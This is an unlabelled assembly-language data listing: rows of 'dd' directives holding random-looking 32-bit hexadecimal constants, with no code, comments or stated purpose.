		dd 76D4B955h, 100FF204h, 0C5099CAh, 5181E027h, 82A93A2h
		dd 404835C8h, 4C0C04C9h, 682E93A1h, 0B72C0134h,	0B2DCBF48h
		dd 26C0F611h, 965D40F6h, 0DFCF22EBh, 59830A57h,	0FD98F3F3h
		dd 9E2E5A52h, 0E462A5B3h, 0E45E760Ch, 0B01ECEB5h, 0E085B7F3h
		dd 507524BEh, 0E546136Dh, 5A3344BAh, 0F01E2ABh,	0BA72F947h
		dd 7D0794FEh, 0AA1E166Ch, 4761A507h, 70CDA63h, 549B0644h
		dd 59747750h, 907C344Eh, 0FDC238B2h, 7054DFAAh,	90EED80Dh
		dd 37EBCC95h, 592AE7ECh, 2043C458h, 2C670E6Fh, 63E97AA3h
		dd 92C21CD7h, 72AB6947h, 6D45B055h, 8B6FE9EDh, 0EB2FF655h
		dd 5BC4ACCBh, 7A6E5716h, 46BB0B41h, 9187BC9Ch, 0DE4793B0h
		dd 5DF495F9h, 0AD24BC7Bh, 7D8D2B28h, 0FAC5DAB6h, 7C10E8Bh
		dd 15E1612Ah, 3A49FE30h, 0CC1DCA5Ah, 0E3BCCA0Dh, 0FBC27768h
		dd 0EFE6510Ah, 5AF71D54h, 39132A56h, 3E138818h,	0DE8AF47Fh
		dd 0C247502Bh, 1044C76Ah, 4D3C38A8h, 94D37E7Ch,	0ECE94390h
		dd 66BC1E9Eh, 8F41A84h,	450090D5h, 0DE66EEC7h, 973A603Fh
		dd 0B54ED9Ch, 7E92618Dh, 72C94793h, 0B12D73F3h,	0B105098Ch
		dd 36734B02h, 0B5A14768h, 0AD6B97C6h, 4FBD522Ah, 866F2758h
		dd 24A62404h, 0D8F7DB1Bh, 9D17074Dh, 0C3859184h, 0C902A864h
		dd 114A3F18h, 0A84529D3h, 4236362Bh, 0B9DCF726h, 7450A00h
		dd 69FD79E9h, 0B5677A0Eh, 0C10D33Eh, 0B7117AE0h, 7C4842D1h
		dd 8CAD0DF1h, 814CC507h, 0DF84B6BBh, 77A622D7h,	0AABA0F04h
		dd 53C275CCh, 0C500DBA3h, 0EE1B2A4Bh, 6C8BF17Ch, 463CF08Bh
		dd 0F9CB83CDh, 711852FAh, 8BD4BBE6h, 0A86CD507h, 0CC26797Fh
		dd 616EAA2Fh, 7D0E81D8h, 0B6E7115Eh, 1C4FC2B4h,	69BAFC99h
		dd 4A3979D4h, 8D557AF2h, 0E9C7B8F3h, 4ACE4DC8h,	761714C8h
		dd 7DB30872h, 4AB990D3h, 0DA73B1D2h, 293EC69Dh,	70DDA428h
		dd 0E7916A87h, 0F79E1CE6h, 3AA4D4F5h, 5D5BEBDEh, 73B80431h
		dd 968DEE65h, 652D81A6h, 0D81685BFh, 12204A29h,	0C61B83F7h
		dd 0DF33676Eh, 0D9436491h, 0A51912F9h, 0A7CEA349h, 0B52CD606h
		dd 29538E23h, 0FF732DDBh, 81D8EA40h, 4288AA57h,	0B05AD536h
		dd 8E827F26h, 86DFB617h, 25515C07h, 0A7F03E2Ah,	778C5E44h
		dd 0EB06BC72h, 356128F7h, 5FE20931h, 0BC8B7613h, 0D7112822h
		dd 519922E5h, 0F5DD9606h, 8C04A855h, 0A944749Ah, 85BBCE08h
		dd 4EC79DB4h, 4FC6B0C0h, 1B266B6Bh, 0C70FEF17h,	9344E7EBh
		dd 6261ACF0h, 0FD679B3Fh, 0DF54BDA7h, 426EAC47h, 0A89A2861h
		dd 8DB6B212h, 68A513ABh, 42F1F0C3h, 76808BE9h, 4E1FB800h
		dd 75DB9103h, 4943CD10h, 48851EBh, 0BE81E544h, 2AC123A6h
		dd 377CACFCh, 0FD4ED96Bh, 5A15B6BDh, 0FE82BB23h, 81C6E6CAh
		dd 7D556748h, 76E2E1Bh,	0CCF5B619h, 3E7D1704h, 240C364Fh
		dd 0A86A336Dh, 691597E7h, 27A86901h, 0C033D404h, 48B48EE4h
		dd 842CF5B7h, 0F2DAF920h, 3540222Eh, 0A17587B3h, 6E6913F1h
		dd 39C4D31h, 2CEDDBACh,	5DB89DE9h, 484C6763h, 0A39AE841h
		dd 54AF0E85h, 7EDE9BFEh, 373D50B1h, 5E170AB5h, 0F197E71Dh
		dd 47024951h, 534306BEh, 9A21E3E5h, 2C89E777h, 0C28F6BABh
		dd 57A69A2Ch, 0A6C06DD7h, 0F45B0ADh, 3A1F61B0h,	0E4F3346Bh
		dd 510CC01Fh, 0DA95499Ah, 0BB0CF3A0h, 0D05F05D8h, 73576EC4h
		dd 478728E4h, 747E9DE9h, 7495EEFh, 528F691Eh, 81C09BE1h
		dd 0A4BDBE32h, 900CB648h, 4F88268Eh, 6CDF99A3h,	706B75B5h
		dd 8B794AA8h, 0A445204Ch, 55F07C5Ch, 8556EA90h,	0F6E7DB02h
		dd 90073564h, 0C7F3C4F5h, 0E6FE5BF5h, 85B78EF2h, 59831624h
		dd 99B6821Fh, 2BF267F2h, 2BFF6D36h, 0DF71F69Bh,	0E8A3482Dh
		dd 1D0C7ABCh, 49DDB43Dh, 227858F1h, 9F31402Eh, 0E9C6D652h
		dd 0B5973CACh, 57BB62C1h, 0D4033A3Bh, 0EFCCBF0Ah, 43FDCE75h
		dd 9EBF44A6h, 1E33F41Dh, 0F2A57D7Ch, 0AE7CB3D6h, 4E3AAC98h
		dd 50D1FBF3h, 13B60373h, 481DF3DBh, 1E448B3Eh, 3495DC22h
		dd 0A570B13Eh, 88F34E67h, 0D6C478BAh, 7355148Bh, 13BEE611h
		dd 0E4B0EE7Ch, 0B311C93Dh, 377802A6h, 0FB674C26h, 89B6F09Bh
		dd 0ACBD8B02h, 6B9B054Ch, 6A0F18B2h, 4C069290h,	0C063FB96h
		dd 0FF5E3040h, 4E9F48B3h, 0DF2B30A6h, 0B403606Ah, 7716EF5Eh
		dd 760D3AC4h, 1308CF24h, 506147Ch, 0DD9F166h, 0D2630BC9h
		dd 9CE19053h, 7ACBE28Ch, 41C364AFh, 0FA093EFCh,	65A42AAh
		dd 0C5F8DA61h, 0C5186C97h, 7B6A5EEFh, 7AAC12B8h, 0B693096h
		dd 431E4EA1h, 0DDB3C45Fh, 551ABF41h, 0C3A677D4h, 6F3E43A2h
		dd 0BFC495BBh, 8DD21C3h, 0E9C16CD3h, 667E8941h,	0E939D6DDh
		dd 0EE20AFF8h, 0AC426FA2h, 0C7B28CFDh, 0E7933F96h, 0E3CB7FA5h
		dd 197219F5h, 8AB7FBE2h, 0A046A88h, 4E2DF03Ch, 99236513h
		dd 0AB86B9CAh, 0E69B16BFh
		dd 46BEFA09h, 6997B974h, 79207BFEh, 5E940478h, 4B6C942h
		dd 0FD310EA7h, 0CD3AA8A3h, 0E209E1C0h, 7D44CF5Eh, 0A3A72F5Fh
		dd 959EAE0Dh, 0B0DA33A7h, 0BBF5DAD9h, 0C99F74Eh, 9E65D9FDh
		dd 36E947C3h, 17C38676h, 6BDAE2A1h, 77D4E132h, 413F57E0h
		dd 0A5D30AE5h, 229E6AEAh, 9546B553h, 662662A1h,	9412E207h
		dd 0A29A7B98h, 0C7B8EC14h, 2373C7BEh, 0DEAAC870h, 7DC76FA3h
		dd 0E9BC4307h, 8B3E12A5h, 3493EB00h, 61F59ADFh,	2991999Dh
		dd 0C5FD5A36h, 9281AEA9h, 6CA7E36Dh, 0BC9BDEC6h, 0D56CCA1Bh
		dd 0DF9F6AFCh, 672E0207h, 13BBF8B7h, 0FA52BDA8h, 0AFA20A6Fh
		dd 6E0C0EB6h, 16D4AE97h, 283A8BA7h, 0B089E6FFh,	4B83A381h
		dd 3EFF6F33h, 65555535h, 270959FAh, 0C6534913h,	7AA7D5DAh
		dd 0C82C5CF0h, 35C303C8h, 75E69BDBh, 99774FF1h,	5F4E3B18h
		dd 0CFB78AF4h, 2EE4A43Eh, 817D0654h, 11D7E6Ch, 3F8FC43Ah
		dd 52207753h, 7FE90A4Dh, 435AE1A9h, 66B041D6h, 9EE582DBh
		dd 6C2D3CFBh, 8664F537h, 5F4280E0h, 89455AACh, 37B86049h
		dd 494993DBh, 0EDE73A65h, 54E23F03h, 3C43E4C7h,	598BEDD5h
		dd 0F3040F0Dh, 79A59AEFh, 0F354A264h, 0FF7BB058h, 449E21F0h
		dd 79769E7Eh, 2DE702C1h, 0B06C8BFCh, 0FBF120Fh,	0BFC28289h
		dd 0C91EF3C4h, 3677432Ch, 0B221815Ah, 0EEB06395h, 0D6B0AF88h
		dd 72B82A8Eh, 0C1A6FE55h, 3F205AE0h, 2B321311h,	614AFD74h
		dd 0FA30A8ECh, 73B75168h, 0F27AB572h, 4B561630h, 0C775E457h
		dd 76184A6Ah, 17B73F53h, 7808BE48h, 0C30C564h, 0D3B36182h
		dd 0D627D0E5h, 0D89E2B65h, 0DC659375h, 9D0750D6h, 830030A9h
		dd 2A363F5Fh, 0AF554E12h, 0C588D07h, 0C03004D1h, 32315AD0h
		dd 0FC3E5B40h, 2F1C5DADh, 51D4EC19h, 0CF486B42h, 0E68EB8ECh
		dd 0B3CE10FBh, 109DF1BFh, 57B0B311h, 22F1489Ch,	0D726EEAAh
		dd 0FB359E59h, 0D412344Eh, 0AACFFF89h, 0A30AC81h, 0A23DA4EEh
		dd 0B9CCF7F7h, 8E548091h, 0F5018B0Ch, 0DAD4C978h, 0DDF9F786h
		dd 0F9F5B6Ah, 9CD58781h, 0E5CE549Ah, 0A34A55A3h, 0CC59DF4Bh
		dd 0ECDF2D16h, 658189AFh, 4D4C862h, 0DEB14AC7h,	56AEFC86h
		dd 0C51B7E48h, 8EC45BB3h, 7CC453A8h, 0A3CE6E9Eh, 2DB1005Fh
		dd 0A3FAE168h, 5A1D0E36h, 0A4715ECAh, 0F73C62A3h, 0FAE574B4h
		dd 29D26108h, 0CDF4F749h, 0B868D7C1h, 0F417A3B9h, 1A7A08E3h
		dd 608C3704h, 3A70F5CAh, 6405BBBDh, 8E934A07h, 2949AF1Ch
		dd 3C11908Fh, 3B00407Eh, 65F8A914h, 61AC344h, 5AFD689Eh
		dd 3AF0AE5Ah, 233530AFh, 0F6BF44AEh, 89183989h,	6DF8F6ACh
		dd 96629C0Dh, 785FBFBAh, 698D9233h, 86BE4FECh, 51ECA1FFh
		dd 7C771255h, 0E9F79C03h, 7F077ABDh, 1A3B9F47h,	4FE34EBCh
		dd 4C70A4AFh, 0F1F7C29h, 0B7642890h, 3E19F7Bh, 82D51B61h
		dd 60DD770Eh, 87A20726h, 11043589h, 1CDE6B6Fh, 33989269h
		dd 39286C84h, 1369521h,	0D8DC3DE9h, 51F01A1Ch, 8C0285E7h
		dd 0EE19A096h, 894B11C3h, 7E262BA2h, 0EFD5C358h, 4EFFDEF7h
		dd 67422066h, 0F4D817F4h, 0F67FD631h, 588E1E65h, 9A1D0A60h
		dd 3C1537B4h, 9D50B6C9h, 96C7A7E1h, 84E4A216h, 16854689h
		dd 0E8904745h, 0E1061F5Bh, 0E9CF5730h, 400BCCC8h, 0D21CECBEh
		dd 0F81E7EB1h, 1BAB130Fh, 5CFC2AD5h, 70E63F58h,	8392ADFAh
		dd 0AFEA3418h, 3881CCAAh, 0EF8494B2h, 0CC496AB5h, 680F33E1h
		dd 75781A1Dh, 574C45E1h, 0B962D40Fh, 9D17970Eh,	35FDB9BFh
		dd 42028748h, 8BA5248Ch, 0B374263Dh, 6BF2FCA6h,	0DDC31790h
		dd 576AB607h, 0F1B47A68h, 0BB650F4Fh, 0E6C2F89Eh, 32EDD8B4h
		dd 0EBFD26E2h, 1020B989h, 5158DB5h, 0B386FAAh, 74C610CFh
		dd 0D174D4EFh, 9ACB615Eh, 0A49EBFDAh, 0F3D276BAh, 82C2351h
		dd 0EA480AAh, 90608D91h, 0D9A7ED86h, 25D4FD8Fh,	3E069F92h
		dd 0B120AC32h, 0C03A7794h, 769DC034h, 0E47EBEF4h, 5EB477FEh
		dd 6CEBB1A0h, 0B44E522Ch, 822845D1h, 7EDA96E5h,	0ECC5683Fh
		dd 621900E6h, 0C07D0FB9h, 0CEFCF28h, 8035196Fh,	5E6DB1E5h
		dd 0FFD40251h, 0BC9BC407h, 9B816D4Dh, 5307E903h, 0DF46E930h
		dd 0C627B3C4h, 8C7040BDh, 7D966662h, 9E8DE04Fh,	0FB787A0Fh
		dd 7F3C68Ch, 5B9CF128h,	52CE1B57h, 7A001635h, 0BBF9F226h
		dd 900E954Ch, 2F6758AAh, 24E4EA10h, 0A8A7FD74h,	32123816h
		dd 1F8BE9FDh, 7CD9DFACh, 0C5757226h, 70936591h,	0D25F24ABh
		dd 559A11BDh, 0EB47F112h, 70CA9C33h, 0A4AE5F92h, 310D269Ah
		dd 57E5C717h, 67C7AAAFh, 0DF2CD35Bh, 8072C484h,	41666BA1h
		dd 1F8E0C2Ch, 34C1FE5Fh, 0E2AE5C4Fh, 88FC4696h,	3AD67999h
		dd 2A71E57Ah, 73FF35ECh, 18FFD364h, 1BEEC5A6h, 3C91297Ah
		dd 713CF399h, 482298E3h, 42796344h, 0C9BD6089h,	0BA350F9Bh
		dd 4BCEAA7Ch, 0C4F9C235h, 934969DDh, 0F2106AFFh, 0B5973AE3h
		dd 0E5E18DA6h, 0D7122350h, 29631D40h, 6650D68Eh, 8F36A86Ah
		dd 90F41645h, 23E46033h, 859AF9FDh, 931D7130h, 3DB4D207h
		dd 0B2A43E73h, 6011B5F1h, 71D932A2h, 9567444Dh,	6FCAD01Eh
		dd 63D8E24Ch, 8842DEE8h, 2F61063Bh, 50E67820h, 52F664DEh
		dd 71ED00A6h, 23AE05A0h, 0E3DB92B8h, 0C745A0AAh, 47760C62h
		dd 650D6CB4h, 28F929C1h, 0A016CEEEh, 0C6AAF72h,	88B764C3h
		dd 0CDC2794Ch, 86C6A63h, 2D5C7901h, 0D33E3D06h,	0A2525E7Bh
		dd 7143A566h, 8F3C011Bh, 0A8337789h, 0B5F19BE2h, 548F8AA0h
		dd 4F603B39h, 0D05F3C4Eh, 0FC94AC6Dh, 8643CCC4h, 0C752AA95h
		dd 0B462835Ah, 0CCD2A12Ah, 9241FA2Dh, 4305CAC4h, 0FB4CEB2Dh
		dd 0BEA613D8h, 0FA0BAF79h, 0B5A3C747h, 673C7803h, 0ECACF7Ch
		dd 0A40964F2h, 5F5EBC87h, 7E12936Ch, 5A223C69h,	344EAA11h
		dd 0BDC0B8E9h, 341510F1h, 69533CBEh, 52EC45F3h,	0A6EF5AC4h
		dd 0BCE8931Ch, 1B6115DBh, 7ED05B3Dh, 0F30034E1h, 96D39132h
		dd 10613C4Bh, 1536CD33h, 60736214h, 106180D8h, 7B9C622Ah
		dd 0D64D715h, 0BDA95F60h, 393BCE30h, 0B3C2ED6Bh, 0AB6BB92Dh
		dd 0B8BD0CC0h, 3CC35118h, 4D28DEC8h, 0FC964481h, 68EC0014h
		dd 0D2403871h, 0B521805h, 0E530309Dh, 3E5421F3h, 6B790063h
		dd 0AF0C0FB3h, 9CA1486Eh, 2125B862h, 9FA2370Bh,	0C4575F83h
		dd 0B733AD27h, 0A5CAE454h, 18913605h, 0EC5B84D3h, 0BD754043h
		dd 5F1C83CCh, 4B4FB88Ah, 0F7A63951h, 44292492h,	2DF55298h
		dd 0BF4ADFA0h, 0E27AC903h, 0B024F5BDh, 9FB3A369h, 2157C84Dh
		dd 1C974DDh, 0A10635F7h, 89319DB6h, 58422F5Ch, 0DF33EAAEh
		dd 0FFCB5AD8h, 229EE82Dh, 0E5A60C3Ah, 0F0A5DE9Ch, 9D54C8C6h
		dd 8CEEC74h, 0D7CD6302h, 0F2728FF7h, 0AA143028h, 21381AC6h
		dd 0B88DECA7h, 60C34815h, 34A0F8C5h, 0AC245D2Dh, 8261BF15h
		dd 5E5624F3h, 718C6780h, 277847Ah, 0F50440D3h, 977DF1B1h
		dd 68409852h, 59026E05h, 602F12CAh, 6C8D92F9h, 1F1068C0h
		dd 3F4E8DFCh, 51D74523h, 0B09BE58Fh, 1A352658h,	38AA6AB4h
		dd 18E65AEEh, 0A8BFFF14h, 3614FB65h, 0EF64A35Ch, 5C41B943h
		dd 0B0E2FD30h, 16FE386Dh, 0DEAA12E0h, 0B06947Fh, 0EF4A2F75h
		dd 2CA88EAAh, 3EAE2DD0h, 39B65BB7h, 1E11706Fh, 58B5A8AFh
		dd 0FE3BAAB7h, 0B53AF918h, 0A5C7C6D2h, 5DD04838h, 36B4E8DFh
		dd 0D11285A6h, 4E145694h, 5D0FB4A9h, 4D9B0BD5h,	18E01816h
		dd 0B0E7A2ACh, 52B5FCBAh, 8B9B5A83h, 6545F1A0h,	80F6AE41h
		dd 2AA8E1Bh, 5F6F7A3Bh
		dd 803F847Ah, 0F50E0DEAh, 4D30CED2h, 46846465h,	60B302BAh
		dd 65394233h, 7448DF9h,	85A77255h, 9233E804h, 0BB163DD0h
		dd 1B91FD0Eh, 6DB9C22Bh, 6674FB9Eh, 5A79BCACh, 88B78124h
		dd 0A2C29BF5h, 5AFBC19Bh, 0EA9074A5h, 0A2FF97A9h, 0DFDBD82Ah
		dd 35FE9416h, 679D61EAh, 0BCD2F9F7h, 0FBE88C66h, 0D3E94D8Ah
		dd 0A82D81B0h, 6FBE89F9h, 0D3D34237h, 0B5BF4180h, 0A6D9BC39h
		dd 615C1523h, 4987127Bh, 6EC6A0C6h, 0F70EA5FCh,	387CC84h
		dd 0E225602h, 0E2D5E915h, 0F5CD0EF9h, 0D6CDA052h, 0F19CEC3Bh
		dd 0B41C1B88h, 6407941Dh, 8FD72B5Eh, 7BF2CC5Eh,	635A6187h
		dd 0FA1D0ADAh, 5647F527h, 0AA54C92Fh, 0C1FFA183h, 947B8883h
		dd 2DE11136h, 4D242646h, 0F5DA2C32h, 0EC0A3978h, 89E5C3BBh
		dd 0C8D110ADh, 12917BB5h, 60349C44h, 9CF434C2h,	5FEF6F31h
		dd 218291FDh, 0ADA7DF59h, 7AFD0A87h, 0E12789AEh, 0B644CC2Ch
		dd 0C206DC5Eh, 0A61EAB53h, 346DEBB5h, 0F132D4D3h, 5B42CF9Ch
		dd 80D1FF94h, 259FB4ADh, 0B14B8744h, 12FF4743h,	8EEBB885h
		dd 45619999h, 990BB9E8h, 52D6CEECh, 0FDD79E3Ch,	7199F17Ch
		dd 3103FFA2h, 0FDAF4F7Bh, 7B924E48h, 799BC386h,	3116EEAAh
		dd 99C77FFFh, 2B9D29C6h, 860FC2CEh, 3CF84965h, 86FE6C80h
		dd 74D000A6h, 0BB19F0C9h, 0AACE8D16h, 22BDA130h, 46E3A442h
		dd 253B81E9h, 0A91BA90Fh, 1FBD8569h, 0D62012FFh, 6419D0BBh
		dd 375E8427h, 65D17E1Dh, 0F847D7CDh, 614C6EC1h,	0A9EFA7A8h
		dd 0B8821738h, 0B72D0C7Ch, 2472C20Eh, 0D356A5D0h, 353B6CA3h
		dd 1D060254h, 0A30E7051h, 6605C9F7h, 0DE8B7701h, 0ADFC4E81h
		dd 93F80DB5h, 5C1CC2D4h, 65A98569h, 52DE0631h, 0D17FE9D9h
		dd 2903B028h, 0EF88E95Ah, 80C870DEh, 0F2604E37h, 0FFEED1F0h
		dd 103BA7D7h, 0E50CCDDCh, 0D168B538h, 5251F4D7h, 0FAB14331h
		dd 486B026Dh, 0EA990446h, 233266B8h, 247FFF11h,	5878D6E5h
		dd 864450F4h, 29DA1B51h, 8232CF58h, 31C9EBC1h, 9858BBF5h
		dd 15B6FD25h, 98C45CEh,	62675393h, 664F6EAEh, 6DE4A0D4h
		dd 9F51D611h, 440BE9Ah,	0AFBDD8B9h, 6C354347h, 84F3780Ah
		dd 8B583857h, 53C316Fh,	55487D10h, 5424BC8Ah, 7D78D545h
		dd 0B0D8CD1Fh, 0E5D46144h, 0D1AC0811h, 0CF74DA30h, 0B6B796CEh
		dd 0EE39F8E3h, 4A60547Ch, 7CBDD4Dh, 0B806C8CCh,	4A56BBCCh
		dd 0B42B39ACh, 8DF56366h, 0FD984B2Bh, 19A63066h, 0A2485A0Dh
		dd 8F0AD5DAh, 51635C22h, 8CF08015h, 0C3BBA66Ah,	0C8DB6AD6h
		dd 0F228A6B2h, 2DE20948h, 147B0B27h, 7EC3F3A1h,	0A06BED8Ah
		dd 7BE8E532h, 0BE485926h, 0CBCB8DDAh, 0BE908C63h, 3E275710h
		dd 8BB3B842h, 0A4F1ADE6h, 58A29CEFh, 0EADDCF6Ch, 30F16C63h
		dd 0EE6AE989h, 426407Eh, 0FB10E660h, 0F5A27A47h, 0AB2D7F20h
		dd 0CB5B9AF4h, 0C31F67CBh, 3F5C0338h, 0F326BF3Ch, 70D501FFh
		dd 0EAE3517Ch, 0FDA8C392h, 81404999h, 0EA03C8BFh, 892B94Eh
		dd 9DBABACAh, 0CC104AA1h, 0F3E2E8BBh, 52AFAA45h, 4C252F54h
		dd 0B288C954h, 14264CBCh, 0A3E92137h, 24B17C90h, 0A998F83h
		dd 9F6D5699h, 0AABC3C74h, 2206B36Dh, 4733FA3Dh,	0B26057A1h
		dd 0C23D9FCBh, 56FF957Ch, 9012BC31h, 9D73C3C0h,	64894974h
		dd 0FCE29599h, 7186DBD6h, 4E0E9FCDh, 2F7A7145h,	508E393Dh
		dd 0B2D33D56h, 77553437h, 7BA6F57Dh, 712277Ch, 523311B2h
		dd 98AA0B6h, 7B271C52h,	5FE02093h, 0DD2A4079h, 0DCB06925h
		dd 0E57A2C14h, 0D90B7E77h, 87481EA7h, 5F15A5ABh, 83480F8h
		dd 958FBBF7h, 0E035DBE8h, 6007AB76h, 0DA94A2B8h, 19D96E62h
		dd 0D138F03h, 0B57B64ABh, 1F3DE25Ch, 7AE87B5Ch,	154A0E36h
		dd 63E3C4A1h, 44D5ED3Bh, 4EFE2BE9h, 38A99895h, 8E22A930h
		dd 0F5F859C0h, 8141D2A3h, 3A263282h, 60037CF8h,	5AABE840h
		dd 7DA3AAE2h, 0D328E9BDh, 8D6FD53h, 5FEEC7D8h, 0AAFA12EEh
		dd 2E06FB2Bh, 828F0576h, 0C9AF07FDh, 5160DD0Eh,	17961EA2h
		dd 0F57BF9E6h, 493F4C62h, 3C90B819h, 0D1C0BDDDh, 4239265Eh
		dd 0F54A328Ch, 8B18E780h, 0E993C53Dh, 0DD29C9F4h, 84F61E12h
		dd 0B8B84F99h, 0C09DFB2Ch, 508320C9h, 6C04A0FDh, 0ECDCFBA4h
		dd 89429067h, 7B466436h, 68F41399h, 388B10F5h, 0D954DFEFh
		dd 5A7B0BC7h, 0F6F64847h, 4782B4F2h, 90098C49h,	0DF542776h
		dd 7F87FF82h, 1389B969h, 87EC7988h, 4B0E20B4h, 59961411h
		dd 6A58974h, 0C845AA85h, 23219C7Bh, 0FE50B149h,	0BFE7C84Eh
		dd 81B73EAFh, 0F86B30A0h, 0FE65817Ah, 170DFC14h, 0DE55C345h
		dd 0C67A9Ah, 77D085CAh,	6F5FB23Bh, 0E1ADCDACh, 0FCB8232Ah
		dd 9061CBBFh, 20DF4500h, 52DB3F61h, 5D0D274Ah, 6CC781Ah
		dd 0EFCBE4BFh, 70B22B2h, 0DF22700Ch, 3A26F07Eh,	85135D4Ah
		dd 0E3245C83h, 0A901FA96h, 9E10BB8Eh, 0B46397Eh, 0F433D065h
		dd 5E494EB6h, 0DECDDF6Eh, 0BEECA315h, 55CC0Ah, 2F65E1C7h
		dd 0A52DD300h, 6D6B1D95h, 2F7DA95Eh, 707198DFh,	35E47B47h
		dd 71220485h, 53CF2B54h, 65CDD58Dh, 0FCD1429Ch,	74748209h
		dd 688D69C8h, 1F1912E2h, 0D286F877h, 7D074781h,	788E3538h
		dd 1B69B2Bh, 0DE7E8AC3h, 0EB8A634Eh, 4C63D4B1h,	56CA34A4h
		dd 99914437h, 0EAF57175h, 29513BA1h, 38F74338h,	2CE0043Dh
		dd 6C656258h, 276322C6h, 6850C087h, 0CF4470F2h,	22ADD346h
		dd 3C7F7A52h, 0ABCA88AEh, 6779F696h, 0B9646FECh, 1209BAE2h
		dd 0D25258B1h, 42D6BF04h, 0AAE423A0h, 7B5FE407h, 2A0E1920h
		dd 0D7179CE2h, 0CBBDA556h, 37271905h, 88B0840Eh, 63A59F06h
		dd 2D4A6B8Bh, 0F51845C9h, 0F4B191BDh, 0F08A6084h, 7DA6D073h
		dd 0E86E6603h, 73D575E7h, 3847F1AAh, 2ABF15CBh,	0B5FCDA5Ah
		dd 9437BBD2h, 0FBF9DA14h, 0D104C9A7h, 2BB952EDh, 30B0D817h
		dd 56D0F590h, 535A26A7h, 82BC7AFEh, 0E431AC19h,	51A7F2FCh
		dd 86C5B013h, 0ECDC1F74h, 2B0F9E41h, 0A2FCBE34h, 0C2C8D812h
		dd 0A92540A3h, 67BB9526h, 4AD92741h, 357336B8h,	0BFD7550Fh
		dd 3AB78EEh, 0F96C1D4Ch, 0CF873167h, 8EDAF146h,	9FCA8A53h
		dd 0C8F04592h, 0BD13D603h, 0AC34B052h, 435F9AB4h, 9CE1D989h
		dd 70644DC2h, 0F920B95Eh, 0F1A65F13h, 0B45C688Fh, 79BD62FBh
		dd 8DAAFF6h, 1FFB7291h,	22BE6B7Bh, 9969DA45h, 9BD227Fh
		dd 207C0C55h, 0FAD5E28Ah, 0BDB8FC02h, 56428F6Bh, 0B42CC5D9h
		dd 37CBB298h, 67FA3A2Ah, 0DE7CB0D5h, 7489CD43h,	0F06085CCh
		dd 4696F62Dh, 9E6C73A9h, 0ED3C4A32h, 0AE036E25h, 0FF712EC5h
		dd 61D7714Dh, 768DF9DFh, 51C92631h, 0A66B5269h,	3FFD86Fh
		dd 0BC16A27Eh, 0FF90168h, 240B9993h, 490B21B4h,	5E89E71Fh
		dd 3569288Ah, 0AE0734EFh, 33C16776h, 0D4968B2Fh, 41AE0941h
		dd 0AEF816A6h, 0E77C7FE2h, 8C8D0EB9h, 5E844128h, 2DB0EC67h
		dd 0F018EC73h, 35F0B9BBh, 4964B80Dh, 81C8B65Dh,	292BAE5Bh
		dd 897E66CDh, 34DB1D0Dh, 26B90E8h, 0C7BFB349h, 0C7196D41h
		dd 9BBD63C8h, 1686A17Dh, 3C1366D1h, 0E5EA933Ch,	0D76BB16Eh
		dd 8CC595FFh, 0EC3014A8h, 8902EABBh, 89032609h,	0EB34962Fh
		dd 0B8BF9DFCh, 859B351h, 0FEFB6749h, 51436D29h,	2888DE47h
		dd 0BE520ADh, 44BBA01Ch, 0E322A41Ch, 0C88A9E44h, 0CC2572FCh
		dd 4580E946h, 471E3222h, 994F323Dh, 7314C534h, 0BEE2B2FBh
		dd 0AF62637Eh, 0C0AB9091h, 88DA76F2h, 53F01E0Eh, 43583EAh
		dd 0A6CBA4D8h, 0F1FD54Ah
		dd 0A1EEA215h, 0E687C971h, 0B6BF2FB6h, 0E6DCE3FAh, 0C9D993BAh
		dd 1CD352BCh, 0BA97B85Ch, 703D2FCEh, 4771881Ch,	0F0365ADBh
		dd 5B62AC32h, 0DFCDDC33h, 39682616h, 7E52FC20h,	0B050AB02h
		dd 0ADA7E4C9h, 31324C90h, 0EAFBA08h, 0D9BBEC37h, 26F3671Ch
		dd 5CC9CACh, 1C8D06A8h,	6FAE4AC2h, 30C204Eh, 28DC27BDh
		dd 369DD77Ah, 0E23CE0F1h, 1ED335B8h, 0C25A7A3Ch, 762AAE44h
		dd 8509F791h, 0B81F3E20h, 4A17D4E6h, 60919D40h,	76356C9Dh
		dd 0E06A3635h, 4149FC66h, 31887FC2h, 40B35B53h,	0BD7F8C6Ch
		dd 1C15CEB4h, 0FCFC089h, 8EA9758Ch, 0E19F14C8h,	734E15ABh
		dd 0FE4523D4h, 0C42F19F6h, 1349ACEFh, 8F9193CEh, 3D3B616Ah
		dd 2CEA3439h, 0CFA99E21h, 71DFF474h, 0AC5F7BA5h, 0F313C7FCh
		dd 4228A1FDh, 725B22CCh, 57F1335Bh, 1831968Dh, 0F8655439h
		dd 0CA13E24h, 4305FAD3h, 3970470h, 0A38EDF5Dh, 0F0274DEh
		dd 2CEBC66Bh, 0B360F159h, 4F090715h, 37A74DFBh,	0A9D64F4Bh
		dd 4DF949C9h, 0DDA5705Dh, 48758307h, 97E4839Eh,	0B711DB25h
		dd 23208A7h, 60073B48h,	0E347E58Ch, 0E2491168h,	16A84DFFh
		dd 901329BDh, 81353466h, 0C3FAD861h, 0FEF914FEh, 6E7F0EB4h
		dd 0C15B9BA0h, 0A59680F7h, 2A42C1B4h, 336F7019h, 87D51CC8h
		dd 0EFE4B406h, 5EF518Eh, 6BC5AE63h, 0B55E2A76h,	0A1EAAC95h
		dd 0E614D5BFh, 0B21EE5C5h, 61A8A9E6h, 3492AAB5h, 8ADF7CA6h
		dd 0DD3789A4h, 1E393BA5h, 0B4DD9BB7h, 0CACBB7A7h, 5A73F9AFh
		dd 0D8431031h, 3D4EB447h, 0E874CEA5h, 3DBC6554h, 46CDD8ACh
		dd 1EDB09EDh, 61C71138h, 9A3BE052h, 4765363Eh, 15A90F2Eh
		dd 4F51B4A5h, 9CB9782Ch, 0B10572D9h, 0D4CF5766h, 0F33D97A4h
		dd 5867E43Dh, 5F5E2268h, 0FCB1C96Dh, 0CF7238FBh, 0DF0C46DCh
		dd 9341CE02h, 0F401FB8Eh, 0F35C76h, 6A28E328h, 3731C63Dh
		dd 824F6984h, 7B41F822h, 0D4289DFEh, 8E3D6DBh, 2DD55EADh
		dd 3C078C1Fh, 916D21F5h, 0F6956657h, 63A099CEh,	0B050337Ah
		dd 37B37B61h, 47187AD0h, 0C4CD4D42h, 0F75C5986h, 0CC1A0136h
		dd 4E232520h, 59CBEF94h, 6EB8DC51h, 0E60F7406h,	0FBE6FC3Eh
		dd 0F02C92D8h, 50559931h, 6E5E563Eh, 64BC3AF0h,	1435B1ACh
		dd 8D1AA423h, 3D00246Ch, 0A787A4F4h, 6D302AEAh,	0DF3A1FE1h
